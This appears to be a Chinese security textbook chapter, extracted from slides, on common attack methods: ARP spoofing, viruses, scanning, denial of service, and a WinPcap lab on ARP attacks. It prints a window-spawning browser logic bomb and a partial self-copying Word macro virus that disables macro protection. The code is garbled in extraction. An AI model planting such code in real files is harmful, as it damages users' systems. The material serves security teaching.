1、第第4章常见攻击方法章常见攻击方法第第4章章 常见攻击方法常见攻击方法4.1 攻击方法概述4.2 病毒与恶意软件4.3 扫描攻击4.4 拒绝服务攻击思考题实验4 用Winpcap API实现ARP攻击第第4章常见攻击方法章常见攻击方法4.1 攻击方法概述攻击方法概述“知己知彼,百战不殆”。研究信息安全不研究信息攻击方法就是纸上谈兵。信息攻击的方法有很多。一般教科书上把信息攻击分为主动攻击和被动攻击两大类,我们这里把信息攻击分为信息的侦察与窃取、信息欺骗和信息封锁与破坏三个大类。攻击者试图通过使用其中一种或多种方法达到攻击目的。第第4章常见攻击方法章常见攻击方法电话窃听、电子信息侦察、特洛伊木马
2、、扫描、网络嗅探等是信息侦察与窃取的常用方法。其中,网络嗅探器是一种能自动捕获网络中传输报文的设备,一般设置在网络接口位置。有些嗅探器能够分析几百种协议,捕获网上传输的口令、机密文件与专用信息,还可以获取高级别的访问权限。第第4章常见攻击方法章常见攻击方法计算机网络窃密具有隐蔽性好、渠道众多、难以防范、效果显著、威胁性大等特点,正越来越引起人们的关注。计算机窃取技术主要有截取计算机电磁和声泄露、通过计算机和存储介质窃密、通过刺探窃取口令或绕过访问控制机制非法进入计算机系统窃密、利用技术垄断在系统或软件中安装木马窃密、利用网络协议和操作系统漏洞窃密等。通信内容欺骗、IP地址欺骗、新闻媒体欺骗、雷
3、达欺骗、社会工程学攻击等是常见的信息欺骗方法。其中社会学攻击是利用人们的心理特征骗取信任并进而实施攻击的一种方法。这种方法目前正呈上升和泛滥趋势。第第4章常见攻击方法章常见攻击方法据军事心理学家的分析和测试证明,当一个人同时对一个事物接到两种内容完全相反的正、误信息时,其得出正确结论的概率只有50%,最高不超过65%;当再次接到错误信息时,其判断出错的概率又增加15%;当其始终接受某一错误信息导向时,即使训练有素的人,也难以得出正确的结论。信息封锁与破坏是指通过一定的手段使敌方无法获取和利用信息,如拒绝服务攻击、计算机病毒、电子干扰、电磁脉冲、高能微波、高能粒子束和激光等。第第4章常见攻击方法
4、章常见攻击方法例4-1 ARP欺骗攻击。IP数据包放入帧中传输时,必须要填写帧中的目的物理地址。通常用户只指定目的IP地址,计算机自动完成IP地址到物理地址的转换。地址解析协议(Address Resolution Protocol,ARP)利用目的IP地址,与子网内其他计算机交换信息,完成IP地址到物理地址的转换。第第4章常见攻击方法章常见攻击方法源主机在发出ARP请求并接收到ARP应答后,将目的主机的IP地址与物理地址映射关系存入自己的高速缓冲区。目的主机接收到ARP请求后将源主机的IP地址与物理地址映射关系存入自己的高速缓冲区。读者可以通过“arp-a”命令在DOS 状态下查看本机最近获
5、得的arp表项。ARP请求是广播发送的,网络中的所有主机接收到ARP请求后都可以将源主机的IP 地址与物理地址映射关系存入自己的高速缓冲区。在高速缓冲区中,新表项加入时定时器开始计时。表项添加后2分钟内没有被再次使用即被删除。表项被再次使用时会增加2 分钟的生命周期,但最长不超过10 分钟。ARP协议的原理如图4-1、4-2所示。第第4章常见攻击方法章常见攻击方法图4-1 ARP原理(一)第第4章常见攻击方法章常见攻击方法图4-2 ARP原理(二)第第4章常见攻击方法章常见攻击方法ARP欺骗攻击分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是,设法
6、通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,导致路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是伪造网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。图4-3为结合上述两种欺骗原理的所谓ARP双向欺骗示意图。第第4章常见攻击方法章常见攻击方法图4-3 ARP双向欺骗示意图第第4章常见攻击方法章常见攻击方法4.2 病毒与恶意软件病毒与恶意软件4.2.1 病毒病毒根据中华人民共和国计算机信息系统安全保护条例,病毒的明确定义是“指编制或者在计算机程序中插入的破坏计算机功能
7、或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。第第4章常见攻击方法章常见攻击方法病毒既可以感染桌面计算机也可以感染网络服务器,往往还具有一定的潜伏性、特定的触发性和很大的破坏性。一些病毒被设计为通过损坏程序、删除文件或重新格式化硬盘来损坏计算机。有些病毒不损坏计算机,而只是复制自身,并通过显式形式表明它们的存在。根据其性质、功能和所造成的危害,计算机病毒大致可分为定时炸弹型、暗杀型、强制隔离型、超载型、间谍型和矫令型。第第4章常见攻击方法章常见攻击方法病毒一般分成主控模块、传染模块、破坏模块和触发模块4个部分,结构框架可表示如下:病毒程序感染模块:循环:随机搜索一
8、个文件;如果感染条件满足则将病毒体写入该文件;否则跳到循环处运行;破坏模块:执行病毒的破坏代码触发模块:第第4章常见攻击方法章常见攻击方法如果触发条件满足返回真;否则返回假;主控模块:执行传染模块;执行触发模块如果返回为真,执行破坏模块;执行原程序;第第4章常见攻击方法章常见攻击方法病毒的传染模块主要完成病毒的自我复制。传染的一般过程是:当病毒程序或染毒的程序运行时,病毒截取控制权,寻求感染突破口,当传染条件满足,即将病毒代码自制到宿主程序。病毒的传染条件根据不同的传染方式有不同的类型。例如,常驻内存病毒一般修改系统中断并插入病毒中断程序。如果其他程序访问被病毒挂接中断,则即会被传染。脚本病毒
9、是计算机病毒的一种形式,主要采用脚本语言编写,它可以对系统进行操作,包括创建、修改、删除,甚至格式化硬盘,具有传播速度快,危害性大等特点。脚本病毒的书写形式灵活,容易产生变种,这就使得传统的特征提取方式对变种脚本病毒检测率很低,对未知的脚本病毒甚至无法识别。第第4章常见攻击方法章常见攻击方法微软提供了一种基于32位Windows平台的、与语言无关的脚本解释机制WSH。它使得脚本能直接在Windows桌面或命令提示符下运行。浏览器也依赖于WSH提供的VBScript和JAVAScript脚本引擎,解释网页中嵌入的脚本代码。第第4章常见攻击方法章常见攻击方法例4-2 下面的代码是一个逻辑炸弹,请读
10、者阅读该代码并以hellow1.htm存盘,然后双击该文件,察看并分析运行结果。no;function openwindow()for(i=0;i1000;i+)window.open(http:/);第第4章常见攻击方法章常见攻击方法 第第4章常见攻击方法章常见攻击方法例4-3 下面一段代码利用死循环原理,交叉显示红色和黑色,造成刺眼效果。请读者阅读下列代码并以hellow.htm存盘,双击该文件,察看并分析运行结果testvar color=new Array;color1=black;第第4章常见攻击方法章常见攻击方法color2=red;for(x=2;x3;x+)document.b
11、gColor=colorx;if(x=2)x=0;第第4章常见攻击方法章常见攻击方法宏(macro)是微软为其office软件设计的一种特殊功能,其目的是为了在使用该软件时避免重复相同的工作。而宏病毒是一种特殊的宏,它通过使用应用程序的宏语言(如VRA)生成与文档相联系的病毒。编制者通过修改Word的命令、使用Document对象的事件、利用Word启动时自动加载normal.doc模板和它所包含宏的特点修改normal.doc中的自动宏等方法来进行激发。第第4章常见攻击方法章常见攻击方法例4-4 Word宏病毒示例。所有Word文档和模板都有Document对象。Document对象支持Cl
12、ose、New和Open三种事件。如果在代码模块中存在响应这些事件的过程,则当执行关闭文档、建立新文档或打开文档的操作时,相应文档事件过程就会被执行。下面是以Document对象的事件作为激发机制的宏病毒样本,请读者分析其大体结构。第第4章常见攻击方法章常见攻击方法Private Sub document_open()定义Document对象的Open事件Dim定义事件中所用的各种变量(略)On Error Resume Next 若有错误,继续执行以下语句Options VirusProteetion=False 将宏安全等级设置为低,本语句在Word 2000中无效If Month(Now
13、)=5 And day(Now)=12 Then以5月12日为病毒发作触发条件(宏病毒表现代码段略)第第4章常见攻击方法章常见攻击方法Else Set objActiveDocument=ActiveDocument.VBProject.VBComponentsItem(thisdocument)CodeModule Set objNormal=NormalTemplate.VBProject.VBComponents Item(Thisdocument)CodeModule 查找活动文档和Normal公共模板的Thisdocument类模块中是否有字符串“abed”。此处“abed”是病毒感
14、染标志,说明文档或模板是否已经感染了该病毒第第4章常见攻击方法章常见攻击方法blnobjActive=objActiveDocumentFind(“abed”,1,1,1000010000)blnobjNormal=objNormalFind(abed”1,1,10000,10000)若活动文档已有该宏病毒,而Normal公共模板中没有,则将Normal公共模板的Thisdocument类模块中的代码全部删除后将活动文档中的宏病毒体复制到Normal公共模板中,并保存Normal公共模板If blnobjActive=True And blnobjNormal=False Then第第4章常见
15、攻击方法章常见攻击方法ObjNorma1deletelines 1,objNormalcountoflinesbdl=objActiveDocumentlines(1,objActiveDocumencountoflines)objNormaladdfromstring bdtNormalTemplateSaveEnd If 若Normal公共模板已有该宏病毒,而活动文档中役有,则将活动文档的Thlsdocument类模块中的代码全部删除后,将Normal公共模板中的宏病毒体复制到活动文档中,并保存活动文档第第4章常见攻击方法章常见攻击方法If blnobjNormal=True And bl
16、nobjActive=False ThenobjActiveDoceumeotdeletelines 1,objActiveDocumentcountoflinesbdI=objNormal.lines(1,objNormalCountoflines)objActiveDocument.addfromstring bdtActiveDocument.SaveEnd IfEnd IfEnd Sub第第4章常见攻击方法章常见攻击方法宏病毒的破坏作用可造成文档不能正常打印、将文件改名、改变文件存储路径、重复复制文件、封闭有关菜单等。宏病毒还能够调用系统命令,进而破坏整个信息处理系统。由于宏病毒依附于
17、Word文档,隐蔽性较强,这给其通过电子邮件附件传播带来了方便。更新的电子邮件病毒则只要打开邮件便能感染所有邮件地址。第第4章常见攻击方法章常见攻击方法蠕虫是一种通过网络传播的恶性病毒,它具有病毒的一些共性,同时具有自己的一些特征,如蠕虫不使用驻留文件即可在系统之间进行自我复制,传染目标是互联网内的所有计算机,等等。典型的蠕虫病毒有尼姆达、震荡波等。特洛伊木马是一种隐蔽植入对方计算机系统中的病毒。它可以根据程序设计者的设定,在被植入用户未知的情况下,将被攻击者的机器中的信息源源不断地窃取出来。“传奇木马”和“QQ木马”能够窃取用户的游戏账号和密码。“灰鸽子”和“德芙”具有后门功能。当前我国网络
18、流行病毒的本土化趋势更加明显,很多病毒主要是针对国内一些应用程序专门制作的。第第4章常见攻击方法章常见攻击方法目前,病毒的发展呈现如下六大特征:(1)经济利益驱使计算机病毒技术不断突破。Rootkit隐藏技术以及对抗杀毒软件技术被广泛应用。(2)微软“Oday”漏洞频繁爆出。(3)网银病毒迅猛增长。如今更多的病毒、蠕虫和木马程序是以计算机缓存里的用户个人信息为目标,试图窃取用户信用卡号码、银行密码等,这被称为“认证盗窃”。(4)病毒传播呈现新特征,锁定目标定向传播。(5)病毒变种快、更新快、存活能力强。(6)智能手机成病毒的下一个攻击目标。第第4章常见攻击方法章常见攻击方法为了加强反病毒工作,
19、我国先后成立了反病毒政府机构和行业协会,这些机构主要有公安部公共信息网络安全监察局、国家计算机病毒应急处理中心、国家反计算机入侵和防病毒研究中心、各省(自治区/直辖市)公安厅(局)公共信息网络安全监察处和各地信息网络安全协会。第第4章常见攻击方法章常见攻击方法4.2.2 恶意软件恶意软件恶意软件是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵害用户合法权益的软件,但不包含我国法律法规规定的计算机病毒。具有下列特征之一的软件可以被认为是恶意软件:(1)强制安装:指未明确提示用户或未经用户许可,在用户计算机或其他终端上安装软件的行为。(2)难以卸载:指未提供通用的卸
20、载方式,或在不受其他软件影响、人为破坏的情况下,卸载后仍然有活动程序的行为。第第4章常见攻击方法章常见攻击方法(3)浏览器劫持:指未经用户许可,修改用户浏览器或其他相关设置,迫使用户访问特定网站或导致用户无法正常上网的行为。(4)广告弹出:指未明确提示用户或未经用户许可,利用安装在用户计算机或其他终端上的软件弹出广告的行为。(5)恶意收集用户信息:指未明确提示用户或未经用户许可,恶意收集用户信息的行为。(6)恶意卸载:指未明确提示用户、未经用户许可,或误导、欺骗用户卸载其他软件的行为。第第4章常见攻击方法章常见攻击方法(7)恶意捆绑:指在软件中捆绑已被认定为恶意软件的行为。(8)其他侵害用户软
21、件安装、使用和卸载知情权、选择权的恶意行为。我国目前还缺乏打击恶意软件的法律法规,没有在法庭上被作为判定恶意软件的依据。“谁有资格来定义恶意软件”是各界争论最为激烈的问题。2006年的反恶意软件运动中,包括奇虎公司在内,几个反恶意软件的诉讼相继失利,其焦点,就在于谁有资格判定恶意软件。此外,反流氓软件联盟在各地发起对恶意软件的诉讼,也因法律缺位、证据不足而失败。法律法规滞后等原因直接束缚了反恶意软件行业的发展。第第4章常见攻击方法章常见攻击方法病毒和恶意代码的编制技术和技巧日益提高,使得它们往往具有良好的隐蔽性和生存性。其隐藏技术通常有文件隐藏、进程隐藏、编译器隐藏、隐蔽通道隐藏、加密隐藏等;
22、生存技术通常有三线程监视技术、反跟踪技术、模糊变换技术、自动生产技术、加密技术等。另外,蠕虫、病毒、木马和恶意代码的攻击也日益呈融合化趋势,如图4-4所示。这给相关的防范工作带来了一定难度。病毒和恶意代码攻击为互联网发展带来了巨大挑战。第第4章常见攻击方法章常见攻击方法图4-4 一个以邮件附件形式传播的假冒机票的恶意代码第第4章常见攻击方法章常见攻击方法4.3 扫扫 描描 攻攻 击击扫描攻击的主要目的是通过向远程或本地主机发送探测数据包,并根据反馈情况来判断目的主机是否处于活动状态、使用的操作系统版本、开放的服务端口并进而判断是否存在漏洞等安全问题。漏洞是指系统安全过程、管理控制及内部控制等存
23、在的缺陷。常见的安全漏洞主要有网络协议的安全漏洞、操作系统的安全漏洞和应用程序的安全漏洞。漏洞只有被攻击者利用才成为对系统的破坏条件。第第4章常见攻击方法章常见攻击方法常见的扫描器软件主要有nmap、santan、strobe、Pinger、PortScan、Superscan等,其中nmap是由Fyodor 用C语言编写的比较优秀的源码开放软件。这些软件往往是根据下列原理设计的:(1)向目标主机发送一个ICMP ECHO(Type 8)数据包,如果接收到反馈的ICMP ECHO Reply(ICMPType 0)数据包,说明主机是存活状态。如果没有ECHO Reply返回就可以初步判断主机没
24、有在线或者使用了某些过滤设备过滤了ICMP的Reply消息。第第4章常见攻击方法章常见攻击方法(2)向目标主机发送包头错误的IP包,目标主机或过滤设备会反馈ICMP Parameter Problem Error信息。常见的伪造错误字段为Header Length和IP Options。(3)向目标主机发送的IP包中填充错误的字段值,目标主机或过滤设备会反馈ICMP Destination Unreachable 信息。(4)向目的端口发送一个SYN分组。如果收到一个来自目标端口的SYN/ACK分组,那么可以推断该端口处于监听状态。如果收到一个RST/ACK分组,那么它通常说明该端口不在监听。
25、执行端口的系统随后发送一个RST/ACK分组,这样并未建立一个完整的连接。这种技巧的优势比完整的TCP连接隐蔽,目标系统的日志中一般不记录未完成的TCP连接。第第4章常见攻击方法章常见攻击方法向目标主机特定端口发送一个0字节数据的UDP包,关闭端口会反馈ICMP Port Unreachable 错误报文,而开放的端口则没有任何反馈。通过多个端口的扫描,还可以探测到目标系统。大家熟悉的ping工具就是利用上述第一条原理设计的。该程序运行时每秒发送一个包,显示响应的输出,计算网络来回的时间,最后显示统计结果丢包率。例如,使用工具软件PortScan可以得到对方计算机都开放了哪些端口,如图4-5所
26、示。第第4章常见攻击方法章常见攻击方法图4-5 PortScan运行界面第第4章常见攻击方法章常见攻击方法4.4 拒绝服务攻击拒绝服务攻击拒绝服务攻击(Denial of Service,简称DoS)的主要目的是使被攻击的网络或服务器不能提供正常的服务。有很多方式可以实现这种攻击,最简单的方法是切断网络电缆或摧毁服务器;当然利用网络协议的漏洞或应用程序的漏洞也可以达到同样的效果。第第4章常见攻击方法章常见攻击方法拒绝服务攻击的攻击方式有很多种。最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,致使服务超载,无法响应其他的请求。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或
27、者向内的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多么快,内存容量多么大,互连网的速度多么快都无法避免这种攻击带来的后果。因为任何事都有一个极限,所以,总能找到一个方法使请求的值大于该极限值,因此就会使所提供的服务资源匮乏,无法满足需求。第第4章常见攻击方法章常见攻击方法SYN是TCP/IP协议建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。SYN Flood攻击
28、向一台服务器发送许多SYN消息,该消息中携带的源地址根本不可用,当服务器尝试为每个请求消息分配连接来应答这些SYN请求时,服务器就没有其他资源来处理真正用户的合法SYN请求了。这就造成了服务器不能正常提供服务。第第4章常见攻击方法章常见攻击方法Land攻击和其他拒绝服务攻击相似,也是通过利用某些操作系统在TCP/IP协议实现方式上的漏洞来破坏主机。在Land攻击中,一个精心制造的SYN数据包中的源地址和目标地址都被设置成某一个服务器地址,这将导致接收到这个数据包的服务器向它自己发送SYN-ACK消息,结果又返回ACK消息并创建一个空连接,每个这样的连接都将一直保持到超时。第第4章常见攻击方法章
29、常见攻击方法Smurf攻击是以最初发动这种攻击的程序名Smurf来命名。这种攻击方法结合使用了IP欺骗和ICMP回复方法使大量数据充斥目标系统,引起目标系统不能为正常系统进行服务。简单的Smurf攻击将ICMP应答请求(ping)数据包的回复地址设置成受害网络的广播地址,最终导致该网络的所有主机都对此ICMP应答请求作出答复,从而导致网络阻塞。因此它比ping of death攻击的流量高出一到两个数量级。复杂的Smurf攻击将源地址改为第三方的受害者,最终导致第三方崩溃。第第4章常见攻击方法章常见攻击方法ping of Death攻击是利用网络操作系统(包括UNIX的许多变种、Windows
30、 和MacOS等)的缺陷,当主机接收到一个大的不合法的ICMP回应请求包(大于64KB)时,会引起主机挂起或崩溃。分布式拒绝服务攻击能将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。第第4章常见攻击方法章常见攻击方法思思 考考 题题(1)请列举敌手常用的攻击方法。(2)什么是病毒,如何防范脚本病毒和Word宏病毒?(3)你的计算机系统是否存在漏洞,依据是什么?(4)查找并阅读Ping程序源代码。(5)列出拒绝服务攻击的常见形式,说明如何应对相关拒绝服务攻击?(6)什么是流量分析,如何对付流量分析?第第4章常见攻击方法章常见攻击方法实验实验4
31、用用Winpcap API实现实现ARP攻击攻击一、实验目的一、实验目的(1)掌握Winpcap软件包的使用方法。(2)理解ARP双向欺骗的原理,编程实现ARP攻击。(3)防ARP攻击的方法。二、实验准备二、实验准备1.从http:/www.winpcap.org/上下载Winpcap安装包及开发包。第第4章常见攻击方法章常见攻击方法2.配置配置VC6.0环境。环境。(1)打开VC6.0,在工具-选项-目录命令的Include files里面加入下载的Winpcap开发包解压以后的include文件夹,在工具-选项-目录命令的Library files里面加入下载的Winpcap开发包解压以后
32、的lib文件夹。(2)用VC打开项目,然后在工程-设置(Alt+F7)标签栏中选择“C/C+”选项,在“预处理程序定义”的输入框里添加“WPCAP”,再选择“连接”,在“对象/库模块”输入框里添加“wpcap.lib Packet.lib”。第第4章常见攻击方法章常见攻击方法3ARP攻击的实现原理参见教材有关内容。请查阅有关资料,了解预防ARP攻击的方法。第第4章常见攻击方法章常见攻击方法三、实验内容三、实验内容(1)下面程序的主要任务是用pcap_findalldevs()函数获得本地的网卡列表,分析并调试运行该程序,记录运行结果。#include pcap.hmain()pcap_if_t
33、*alldevs;pcap_if_t*d;int i=0;char errbufPCAP_ERRBUF_SIZE;第第4章常见攻击方法章常见攻击方法/*这个API 用来获得网卡的列表*/if(pcap_findalldevs(&alldevs,errbuf)=-1)fprintf(stderr,Error in pcap_findalldevs:%sn,errbuf);exit(1);/*显示列表的响应字段的内容*/for(d=alldevs;d;d=d-next)printf(%d.%s,+i,d-name);if(d-description)第第4章常见攻击方法章常见攻击方法printf(
34、%s)n,d-description);else printf(No description available)n);if(i=0)printf(nNo interfaces found!Make sure WinPcap isinstalled.n);return;/*不再使用这个设备,释放资源*/pcap_freealldevs(alldevs);第第4章常见攻击方法章常见攻击方法(2)下面程序的任务是打开适配器并捕获数据包,分析并调试、运行该程序,记录运行结果。#include pcap.h/*packet handler 函数原型*/void packet_handler(u_cha
35、r*param,const struct pcap_pkthdr*header,const u_char*pkt_data);main()第第4章常见攻击方法章常见攻击方法pcap_if_t*alldevs;pcap_if_t*d;int inum;int i=0;pcap_t*adhandle;char errbufPCAP_ERRBUF_SIZE;/*获取本机设备列表*/if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)=-1)fprintf(stderr,Error in pcap_findalldevs:%sn
36、,errbuf);exit(1);第第4章常见攻击方法章常见攻击方法/*打印列表*/for(d=alldevs;d;d=d-next)printf(%d.%s,+i,d-name);if(d-description)printf(%s)n,d-description);else printf(No description available)n);if(i=0)第第4章常见攻击方法章常见攻击方法printf(nNo interfaces found!Make sure Winpcap is installed.n);return-1;printf(Enter the interface num
37、ber(1-%d):,i);scanf(%d,&inum);if(inum i)printf(nInterface number out of range.n);/*释放设备列表*/pcap_freealldevs(alldevs);return-1;第第4章常见攻击方法章常见攻击方法/*跳转到选中的适配器*/for(d=alldevs,i=0;inext,i+);/*打开设备*/if(adhandle=pcap_open(d-name,/设备名 65536,/65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS,/混杂模式 1000
38、,/读取超时时间 NULL,/远程机器验证 errbuf /错误缓冲池 )=NULL)第第4章常见攻击方法章常见攻击方法 fprintf(stderr,nUnable to open the adapter.%s is not supported by WinPcapn,d-name);/*释放设备列表*/pcap_freealldevs(alldevs);return-1;printf(nlistening on%s.n,d-description);/*释放设备列表*/pcap_freealldevs(alldevs);/*开始捕获*/pcap_loop(adhandle,0,packet
39、_handler,NULL);return 0;第第4章常见攻击方法章常见攻击方法/*每次捕获到数据包时,libpcap都会自动调用这个回调函数*/void packet_handler(u_char*param,const struct pcap_pkthdr*header,const u_char*pkt_data)struct tm*ltime;char timestr16;time_t local_tv_sec;/*将时间戳转换成可识别的格式*/local_tv_sec=header-ts.tv_sec;ltime=localtime(&local_tv_sec);strftime(t
40、imestr,sizeof timestr,%H:%M:%S,ltime);printf(%s,%.6d len:%dn,timestr,header-ts.tv_usec,header-len);第第4章常见攻击方法章常见攻击方法(3)ARP欺骗进程和转发进程的工作流程如图4-6所示,试编写相关实现程序。第第4章常见攻击方法章常见攻击方法图4-6 ARP欺骗进程和转发进程的工作流程第第4章常见攻击方法章常见攻击方法四、实验报告四、实验报告1通过实验回答下列问题(1)填写实验内容(1)和(2)的运行结果。(2)给出实验内容(3)的实现代码和运行结果。(3)如何利用多线程实现(3)中的任务?2简答题(1)如何防御ARP攻击?(2)IE浏览器被恶意修改后如何进行恢复?(3)如何预防手机病毒?